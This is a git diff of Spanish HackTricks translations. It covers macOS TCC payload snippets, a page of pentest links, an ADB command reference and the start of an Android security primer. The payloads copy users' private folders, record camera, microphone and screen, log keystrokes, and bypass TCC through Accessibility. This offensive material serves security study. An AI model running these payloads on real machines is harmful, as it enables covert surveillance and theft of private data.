* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
### Escritorio
* **Privilegio**: Ninguno
* **Permiso**: Ninguno
* **TCC**: kTCCServiceSystemPolicyDesktopFolder
{% tabs %}
@ -65,12 +66,12 @@ cp -r "$HOME/Desktop" "/tmp/desktop"
### Documentos
* **Entitlement**: Ninguno
* **Permiso**: Ninguno
* **TCC**: `kTCCServiceSystemPolicyDocumentsFolder`
{% tabs %}
{% tab title="ObjetiveC" %}
Copiar `$HOME/Documents` a `/tmp/documents`.
Copia `$HOME/Documents` a `/tmp/documents`.
```objectivec
#include <syslog.h>
#include <stdio.h>
@ -105,7 +106,7 @@ fclose(stderr); // Close the file stream
{% endtab %}
{% tab title="Shell" %}
Copiar `$HOME/`Documents a `/tmp/documents`.
Copia `$HOME/`Documents a `/tmp/documents`.
```bash
cp -r "$HOME/Documents" "/tmp/documents"
```
@ -114,12 +115,12 @@ cp -r "$HOME/Documents" "/tmp/documents"
### Descargas
* **Entitlement**: Ninguno
* **Permiso**: Ninguno
* **TCC**: `kTCCServiceSystemPolicyDownloadsFolder`
{% tabs %}
{% tab title="ObjetiveC" %}
Copiar `$HOME/Downloads` a `/tmp/downloads`.
Copia `$HOME/Downloads` a `/tmp/downloads`.
```objectivec
#include <syslog.h>
#include <stdio.h>
@ -163,12 +164,12 @@ cp -r "$HOME/Downloads" "/tmp/downloads"
### Biblioteca de Fotos
* **Privilegio**: `com.apple.security.personal-information.photos-library`
* **Permiso**: `com.apple.security.personal-information.photos-library`
* **TCC**: `kTCCServicePhotos`
{% tabs %}
{% tab title="ObjetiveC" %}
Copiar `$HOME/Pictures/Photos Library.photoslibrary` a `/tmp/photos`.
Copia `$HOME/Pictures/Photos Library.photoslibrary` a `/tmp/photos`.
```objectivec
#include <syslog.h>
#include <stdio.h>
@ -203,7 +204,7 @@ fclose(stderr); // Close the file stream
{% endtab %}
{% tab title="Shell" %}
Copiar `$HOME/Pictures/Photos Library.photoslibrary` a `/tmp/photos`.
Copia `$HOME/Pictures/Photos Library.photoslibrary` a `/tmp/photos`.
```bash
cp -r "$HOME/Pictures/Photos Library.photoslibrary" "/tmp/photos"
```
@ -212,12 +213,12 @@ cp -r "$HOME/Pictures/Photos Library.photoslibrary" "/tmp/photos"
### Contactos
* **Entitlement**: `com.apple.security.personal-information.addressbook`
* **Permiso**: `com.apple.security.personal-information.addressbook`
* **TCC**: `kTCCServiceAddressBook`
{% tabs %}
{% tab title="ObjetiveC" %}
Copiar `$HOME/Library/Application Support/AddressBook` a `/tmp/contacts`.
Copia `$HOME/Library/Application Support/AddressBook` a `/tmp/contacts`.
```objectivec
#include <syslog.h>
#include <stdio.h>
@ -261,12 +262,12 @@ cp -r "$HOME/Library/Application Support/AddressBook" "/tmp/contacts"
### Calendario
* **Privilegio**: `com.apple.security.personal-information.calendars`
* **Permiso**: `com.apple.security.personal-information.calendars`
* **TCC**: `kTCCServiceCalendar`
{% tabs %}
{% tab title="ObjectiveC" %}
Copiar `$HOME/Library/Calendars` a `/tmp/calendars`.
Copia `$HOME/Library/Calendars` a `/tmp/calendars`.
```objectivec
#include <syslog.h>
#include <stdio.h>
@ -310,12 +311,12 @@ cp -r "$HOME/Library/Calendars" "/tmp/calendars"
### Cámara
* **Privilegio**: `com.apple.security.device.camera`
* **Permiso**: `com.apple.security.device.camera`
* **TCC**: `kTCCServiceCamera`
{% tabs %}
{% tab title="ObjetiveC - Grabar" %}
Grabar un video de 3 segundos y guardarlo en **`/tmp/recording.mov`**
Graba un video de 3s y guárdalo en **`/tmp/recording.mov`**
```objectivec
#import <Foundation/Foundation.h>
#import <AVFoundation/AVFoundation.h>
@ -393,8 +394,8 @@ fclose(stderr); // Close the file stream
```
{% endtab %}
{% tab title="ObjectiveC - Verificación" %}
Verificar si el programa tiene acceso a la cámara.
{% tab title="ObjectiveC - Comprobar" %}
Comprobar si el programa tiene acceso a la cámara.
```objectivec
#import <Foundation/Foundation.h>
#import <AVFoundation/AVFoundation.h>
@ -427,8 +428,7 @@ fclose(stderr); // Close the file stream
{% endtab %}
{% tab title="Shell" %}
Tomar una foto con la cámara
{% endtab %}
Toma una foto con la cámara
```bash
ffmpeg -framerate 30 -f avfoundation -i "0" -frames:v 1 /tmp/capture.jpg
```
@ -437,12 +437,12 @@ ffmpeg -framerate 30 -f avfoundation -i "0" -frames:v 1 /tmp/capture.jpg
### Micrófono
* **Privilegio**: **com.apple.security.device.audio-input**
* **Permiso**: **com.apple.security.device.audio-input**
* **TCC**: `kTCCServiceMicrophone`
{% tabs %}
{% tab title="ObjetiveC - Grabar" %}
Grabar 5 segundos de audio y almacenarlo en `/tmp/recording.m4a`
Graba 5 segundos de audio y guárdalo en `/tmp/recording.m4a`
```objectivec
#import <Foundation/Foundation.h>
#import <AVFoundation/AVFoundation.h>
@ -541,8 +541,8 @@ fclose(stderr); // Close the file stream
```
{% endtab %}
{% tab title="ObjectiveC - Verificación" %}
Verificar si la aplicación tiene acceso al micrófono.
{% tab title="ObjectiveC - Comprobar" %}
Comprobar si la aplicación tiene acceso al micrófono.
```objectivec
#import <Foundation/Foundation.h>
#import <AVFoundation/AVFoundation.h>
@ -573,7 +573,7 @@ static void telegram(int argc, const char **argv) {
{% endtab %}
{% tab title="Shell" %}
Grabar un audio de 5 segundos y guardarlo en `/tmp/recording.wav`
Graba un audio de 5 segundos y guárdalo en `/tmp/recording.wav`
```bash
# Check the microphones
ffmpeg -f avfoundation -list_devices true -i ""
@ -586,15 +586,15 @@ ffmpeg -f avfoundation -i ":1" -t 5 /tmp/recording.wav
### Ubicación
{% hint style="success" %}
Para que una aplicación obtenga la ubicación, **los Servicios de Ubicación** (de Privacidad y Seguridad) **deben estar habilitados**, de lo contrario no podrá acceder a ella.
Para que una aplicación obtenga la ubicación, **Los Servicios de Ubicación** (de Privacidad y Seguridad) **deben estar habilitados,** de lo contrario no podrá acceder a ella.
{% endhint %}
* **Entitlement**: `com.apple.security.personal-information.location`
* **Derecho**: `com.apple.security.personal-information.location`
* **TCC**: Concedido en `/var/db/locationd/clients.plist`
{% tabs %}
{% tab title="ObjectiveC" %}
Escribir la ubicación en `/tmp/logs.txt`
Escribe la ubicación en `/tmp/logs.txt`
```objectivec
#include <syslog.h>
#include <stdio.h>
@ -644,21 +644,21 @@ freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt
{% endtab %}
{% tab title="Shell" %}
Obtener acceso a la ubicación
Obtén acceso a la ubicación
```
???
```
{% endtab %}
{% endtabs %}
### Grabación de pantalla
### Grabación de Pantalla
* **Privilegio**: Ninguno
* **Permiso**: Ninguno
* **TCC**: `kTCCServiceScreenCapture`
{% tabs %}
{% tab title="ObjectiveC" %}
Grabar la pantalla principal durante 5 segundos en `/tmp/screen.mov`
Graba la pantalla principal durante 5s en `/tmp/screen.mov`
```objectivec
#import <Foundation/Foundation.h>
#import <AVFoundation/AVFoundation.h>
@ -715,7 +715,7 @@ freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt
{% endtab %}
{% tab title="Shell" %}
Grabar la pantalla principal durante 5 segundos
Graba la pantalla principal durante 5s
```bash
screencapture -V 5 /tmp/screen.mov
```
@ -724,10 +724,13 @@ screencapture -V 5 /tmp/screen.mov
### Accesibilidad
* **Privilegio**: Ninguno
* **Permiso**: Ninguno
* **TCC**: `kTCCServiceAccessibility`
Utilice el privilegio TCC para aceptar el control del Finder presionando enter y así evadir el TCC.
Utiliza el privilegio TCC para aceptar el control de Finder presionando enter y eludir TCC de esa manera
{% tabs %}
{% tab title="Aceptar TCC" %}
```objectivec
#import <Foundation/Foundation.h>
#import <ApplicationServices/ApplicationServices.h>
@ -781,7 +784,7 @@ return 0;
{% endtab %}
{% tab title="Keylogger" %}
Almacena las teclas presionadas en **`/tmp/keystrokes.txt`**
Almacenar las teclas presionadas en **`/tmp/keystrokes.txt`**
```objectivec
#import <Foundation/Foundation.h>
#import <ApplicationServices/ApplicationServices.h>
@ -889,19 +892,20 @@ return 0;
{% endtabs %}
{% hint style="danger" %}
**La accesibilidad es un permiso muy poderoso**, podrías abusar de él de otras formas, por ejemplo podrías realizar el **ataque de pulsaciones de teclas** solo con eso sin necesidad de llamar a Eventos del Sistema.
**La accesibilidad es un permiso muy poderoso**, podrías abusar de él de otras maneras, por ejemplo, podrías realizar el **ataque de pulsaciones de teclas** solo con eso sin necesidad de llamar a System Events.
{% endhint %}
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,16 +1,17 @@
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende a hackear AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red Team de AWS de HackTricks)</strong></a><strong>!</strong></summary>
<summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos de github.
</details>
{% endhint %}
{% embed url="https://highon.coffee/blog/penetration-testing-tools-cheat-sheet/#python-tty-shell-trick" %}
@ -60,16 +61,17 @@ Otras formas de apoyar a HackTricks:
{% embed url="https://ippsec.rocks/" %}
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende a hackear AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red Team de AWS de HackTricks)</strong></a><strong>!</strong></summary>
<summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos de github.
</details>
{% endhint %}

View file

@ -1,16 +1,17 @@
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red Team de AWS de HackTricks)</strong></a><strong>!</strong></summary>
<summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>
{% endhint %}
**Adb generalmente se encuentra en:**
@ -27,25 +28,25 @@ C:\Users\<username>\AppData\Local\Android\sdk\platform-tools\adb.exe
```
adb devices
```
Esto listará los dispositivos conectados; si aparece "_**no autorizado**_", esto significa que debes **desbloquear** tu **móvil** y **aceptar** la conexión.
Esto enumerará los dispositivos conectados; si aparece "_**no autorizado**_", esto significa que debes **desbloquear** tu **móvil** y **aceptar** la conexión.
Esto indica al dispositivo que debe iniciar un servidor adb en el puerto 5555:
```
adb tcpip 5555
```
Conéctese a esa IP y ese puerto:
Conéctate a esa IP y ese Puerto:
```
adb connect <IP>:<PORT>
```
Si obtienes un error como el siguiente en un software de Android virtual (como Genymotion):
Si obtienes un error como el siguiente en un software de Android Virtual (como Genymotion):
```
adb server version (41) doesn't match this client (36); killing...
```
Es porque estás intentando conectarte a un servidor ADB con una versión diferente. Simplemente intenta encontrar el binario adb que está utilizando el software (ve a `C:\Program Files\Genymobile\Genymotion` y busca adb.exe)
Es porque estás intentando conectarte a un servidor ADB con una versión diferente. Solo intenta encontrar el binario adb que el software está utilizando (ve a `C:\Program Files\Genymobile\Genymotion` y busca adb.exe)
## Varios dispositivos
Cuando encuentres **varios dispositivos conectados a tu máquina** necesitarás **especificar en cuál** deseas ejecutar el comando adb.
Siempre que encuentres **varios dispositivos conectados a tu máquina** necesitarás **especificar en cuál** deseas ejecutar el comando adb.
```bash
adb devices
List of devices attached
@ -58,14 +59,14 @@ adb -s 127.0.0.1:5555 shell
x86_64:/ # whoami
root
```
## Túnel de puerto
## Port Tunneling
En caso de que el **puerto adb** solo sea **accesible** desde **localhost** en el dispositivo Android pero **tienes acceso a través de SSH**, puedes **reenviar el puerto 5555** y conectar a través de adb:
En caso de que el **puerto** **adb** solo sea **accesible** desde **localhost** en el dispositivo android pero **tienes acceso a través de SSH**, puedes **redirigir el puerto 5555** y conectarte a través de adb:
```bash
ssh -i ssh_key username@10.10.10.10 -L 5555:127.0.0.1:5555 -p 2222
adb connect 127.0.0.1:5555
```
# Gestor de paquetes
# Administrador de Paquetes
## Instalar/Desinstalar
@ -85,7 +86,7 @@ adb install -d test.apk # allow version code downgrade
adb install -p test.apk # partial application install
```
### adb uninstall \[opciones] \<PAQUETE>
### adb uninstall \[options] \<PACKAGE>
```bash
adb uninstall com.test.app
@ -93,9 +94,9 @@ adb uninstall -k com.test.app Keep the data and cache directories around after p
```
## Paquetes
Muestra todos los paquetes, opcionalmente solo aquellos cuyo nombre de paquete contiene el texto en \<FILTRO>.
Imprime todos los paquetes, opcionalmente solo aquellos cuyo nombre de paquete contiene el texto en \<FILTER>.
### adb shell pm list packages \[opciones] \<FILTRO-STR>
### adb shell pm list packages \[options] \<FILTER-STR>
```bash
adb shell pm list packages <FILTER-STR>
@ -117,21 +118,21 @@ adb shell pm list packages --user <USER_ID> <FILTER-STR> #The user space to quer
```
### adb shell pm path \<PACKAGE>
Imprime la ruta al APK del paquete dado.
Imprime la ruta al APK del dado.
```bash
adb shell pm path com.android.phone
```
### adb shell pm clear \<PAQUETE>
### adb shell pm clear \<PACKAGE>
Eliminar todos los datos asociados con un paquete.
Elimina todos los datos asociados con un paquete.
```bash
adb shell pm clear com.test.abc
```
# Administrador de archivos
# File Manager
### adb pull \<remoto> \[local]
Descarga un archivo especificado desde un emulador/dispositivo a tu computadora.
Descarga un archivo especificado de un emulador/dispositivo a tu computadora.
```bash
adb pull /sdcard/demo.mp4 ./
```
@ -143,15 +144,15 @@ adb push test.apk /sdcard
```
# Captura de pantalla/Grabación de pantalla
### adb shell screencap \<nombre_archivo>
### adb shell screencap \<filename>
Tomar una captura de pantalla de la pantalla de un dispositivo.
Tomando una captura de pantalla de la pantalla del dispositivo.
```bash
adb shell screencap /sdcard/screen.png
```
### adb shell screenrecord \[opciones] \<nombre de archivo>
### adb shell screenrecord \[options] \<filename>
Grabando la pantalla de dispositivos con Android 4.4 (nivel de API 19) y superior.
Grabando la pantalla de dispositivos que ejecutan Android 4.4 (nivel de API 19) y superior.
```bash
adb shell screenrecord /sdcard/demo.mp4
adb shell screenrecord --size <WIDTHxHEIGHT>
@ -160,7 +161,7 @@ adb shell screenrecord --time-limit <TIME> #Sets the maximum recording time, in
adb shell screenrecord --rotate # Rotates 90 degrees
adb shell screenrecord --verbose
```
(presiona Ctrl-C para detener la grabación)
(press Ctrl-C to stop recording)
**Puedes descargar los archivos (imágenes y videos) usando **_**adb pull**_
@ -168,7 +169,7 @@ adb shell screenrecord --verbose
### adb shell
Obtener un shell dentro del dispositivo
Obtén un shell dentro del dispositivo
```bash
adb shell
```
@ -180,7 +181,7 @@ adb shell ls
```
## pm
Los siguientes comandos se ejecutan dentro de una shell
Los siguientes comandos se ejecutan dentro de un shell
```bash
pm list packages #List installed packages
pm path <package name> #Get the path to the apk file of tha package
@ -189,7 +190,7 @@ am startservice [<options>] #Start a service. Whiout options you can see the hel
am broadcast [<options>] #Send a broadcast. Whiout options you can see the help menu
input [text|keyevent] #Send keystrokes to device
```
# Procesos
# Processes
Si deseas obtener el PID del proceso de tu aplicación, puedes ejecutar:
```bash
@ -201,19 +202,21 @@ O puedes hacer
```bash
adb shell pidof com.your.application
```
Y mostrará el PID de la aplicación
Y imprimirá el PID de la aplicación
# Sistema
```bash
adb root
```
Reinicia el demonio adbd con permisos de root. Luego, debes volver a conectarte al servidor ADB y serás root (si está disponible)
Reinicia el demonio adbd con permisos de root. Luego, debes conectarte nuevamente al servidor ADB y serás root (si está disponible).
```bash
adb sideload <update.zip>
```
## Registros
flashear/restaurar paquetes de actualización Android update.zip.
### Logcat
# Registros
## Logcat
Para **filtrar los mensajes de solo una aplicación**, obtén el PID de la aplicación y usa grep (linux/macos) o findstr (windows) para filtrar la salida de logcat:
```bash
@ -260,9 +263,9 @@ adb logcat -n <count> # Sets the maximum number of rotated logs to <count>.
```
## dumpsys
Muestra datos del sistema
dumps datos del sistema
### adb shell dumpsys \[opciones]
### adb shell dumpsys \[options]
```bash
adb shell dumpsys
@ -278,13 +281,11 @@ Notas: [Battery Historian](https://github.com/google/battery-historian) conviert
```bash
adb shell dumpsys batterystats --reset erases old collection data
```
```plaintext
adb shell dumpsys activity
# Copia de seguridad
# Respaldo
Realiza una copia de seguridad de un dispositivo Android desde adb.
```
Respalda un dispositivo android desde adb.
```bash
adb backup [-apk] [-shared] [-system] [-all] -f file.backup
# -apk -- Include APK from Third partie's applications
@ -300,16 +301,17 @@ Si deseas inspeccionar el contenido de la copia de seguridad:
```bash
( printf "\x1f\x8b\x08\x00\x00\x00\x00\x00" ; tail -c +25 myapp_backup.ab ) | tar xfvz -
```
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>
{% endhint %}

View file

@ -1,18 +1,19 @@
# Fundamentos de Aplicaciones Android
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende a hackear AWS desde cero hasta convertirte en un héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
<summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**ropa oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos de github.
</details>
{% endhint %}
**Grupo de Seguridad Try Hard**
@ -24,137 +25,138 @@ Otras formas de apoyar a HackTricks:
## Modelo de Seguridad de Android
**Existen dos capas:**
**Hay dos capas:**
* El **SO**, que mantiene las aplicaciones instaladas aisladas entre sí.
* La **aplicación en sí misma**, que permite a los desarrolladores **exponer ciertas funcionalidades** y configurar las capacidades de la aplicación.
* La **aplicación en sí**, que permite a los desarrolladores **exponer ciertas funcionalidades** y configura las capacidades de la aplicación.
### Separación de UID
**A cada aplicación se le asigna un ID de Usuario específico**. Esto se hace durante la instalación de la aplicación para que **la aplicación solo pueda interactuar con archivos propiedad de su ID de Usuario o archivos compartidos**. Por lo tanto, solo la aplicación en sí misma, ciertos componentes del SO y el usuario root pueden acceder a los datos de las aplicaciones.
**Cada aplicación se asigna un ID de usuario específico**. Esto se hace durante la instalación de la aplicación para que **la aplicación solo pueda interactuar con archivos propiedad de su ID de usuario o archivos compartidos**. Por lo tanto, solo la propia aplicación, ciertos componentes del SO y el usuario root pueden acceder a los datos de la aplicación.
### Compartir UID
### Compartición de UID
**Dos aplicaciones pueden configurarse para usar el mismo UID**. Esto puede ser útil para compartir información, pero si una de ellas se ve comprometida, los datos de ambas aplicaciones se verán comprometidos. Por eso este comportamiento es **desaconsejado**.\
**Dos aplicaciones pueden configurarse para usar el mismo UID**. Esto puede ser útil para compartir información, pero si una de ellas se ve comprometida, los datos de ambas aplicaciones se verán comprometidos. Por eso se **desaconseja** este comportamiento.\
**Para compartir el mismo UID, las aplicaciones deben definir el mismo valor `android:sharedUserId` en sus manifiestos.**
### Aislamiento
### Sandbox
